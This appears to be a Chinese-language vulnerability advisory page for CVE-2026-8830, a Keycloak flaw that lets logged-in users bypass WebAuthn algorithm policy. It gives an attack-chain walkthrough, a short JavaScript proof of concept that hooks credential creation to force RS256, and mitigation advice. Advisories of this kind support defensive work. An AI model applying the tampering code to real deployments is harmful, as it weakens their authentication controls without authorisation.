IPBUF安全漏洞报告
English
CVE-2026-8830 CVSS 4.3 中危

CVE-2026-8830 Keycloak WebAuthn策略绕过漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-8830
漏洞类型
认证绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

认证绕过KeycloakWebAuthn逻辑漏洞

漏洞概述

Keycloak存在一处安全漏洞,允许经过身份验证的用户在注册凭证时绕过配置的WebAuthn策略。该漏洞源于服务器端processAction()方法未能充分验证新建凭证的参数(如公钥算法)是否符合管理员的WebAuthn策略配置。攻击者可通过操纵客户端JavaScript利用此漏洞,创建不符合安全要求的凭证,从而削弱系统的整体安全态势。

技术细节

该漏洞主要源于Keycloak在WebAuthn凭证注册流程中缺乏严格的服务器端校验。在标准的WebAuthn协议交互中,服务器应当对客户端提交的凭证数据进行严格的策略检查,以确保其符合安全基线(如强制使用特定的加密算法)。然而,Keycloak的processAction()接口存在逻辑缺陷,它默认信任客户端提交的数据或仅进行了有限的验证。攻击者利用该漏洞时,首先需要以合法用户身份登录系统,随后在WebAuthn注册阶段拦截并修改客户端JavaScript生成的请求包。攻击者可以篡改凭证的公钥算法参数,使其使用较弱的或被管理员禁用的算法。由于服务器端未对该参数进行比对验证,成功创建了不符合安全策略的凭证。这种绕过行为属于典型的服务端校验缺失导致的逻辑漏洞。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者需要拥有Keycloak系统的合法账户凭证,完成身份验证登录。
STEP 2
步骤2:发起凭证注册
攻击者进入用户设置页面,点击添加WebAuthn安全密钥,触发凭证注册流程。
STEP 3
步骤3:篡改客户端数据
攻击者利用浏览器开发者工具或恶意脚本,拦截并修改客户端JavaScript发送的注册请求,将公钥算法参数修改为不符合策略的值。
STEP 4
步骤4:服务端验证绕过
Keycloak服务端processAction()接收请求后,未校验参数是否符合WebAuthn策略,直接处理并创建凭证。
STEP 5
步骤5:完成漏洞利用
系统成功创建了非合规的WebAuthn凭证,可能降低账户认证的安全性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC for CVE-2026-8830 // This script demonstrates how to manipulate the WebAuthn registration request // to bypass server-side policy checks on public key algorithms. // 1. Hook into the WebAuthn registration function const originalCreate = navigator.credentials.create; navigator.credentials.create = function(options) { // 2. Modify the publicKey parameters before sending to the authenticator/server // Example: Force a weaker algorithm (e.g., RS256) if ES256 is enforced by policy if (options && options.publicKey) { console.log("[+] Original publicKey params:", options.publicKey); // Attempt to bypass policy by altering acceptable algorithms or extensions // Note: The actual bypass depends on specific server validation logic gaps. options.publicKey.pubKeyCredParams = [ { type: "public-key", alg: -257 } // RS256 (COSE algorithm identifier) ]; console.log("[+] Modified publicKey params:", options.publicKey); } // 3. Proceed with the modified request return originalCreate.call(navigator.credentials, options).then(credential => { console.log("[+] Credential registered successfully with bypassed params."); return credential; }); }; // Trigger the registration flow on the target Keycloak instance // User must be logged in and initiate the "Add Security Key" action.

影响范围

Keycloak (具体受影响版本请参考官方公告)

防御指南

临时缓解措施
建议管理员在应用补丁前,暂时禁用WebAuthn凭证注册功能,或者加强对外部用户提交的凭证参数的日志监控,以检测是否存在异常的算法参数提交。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表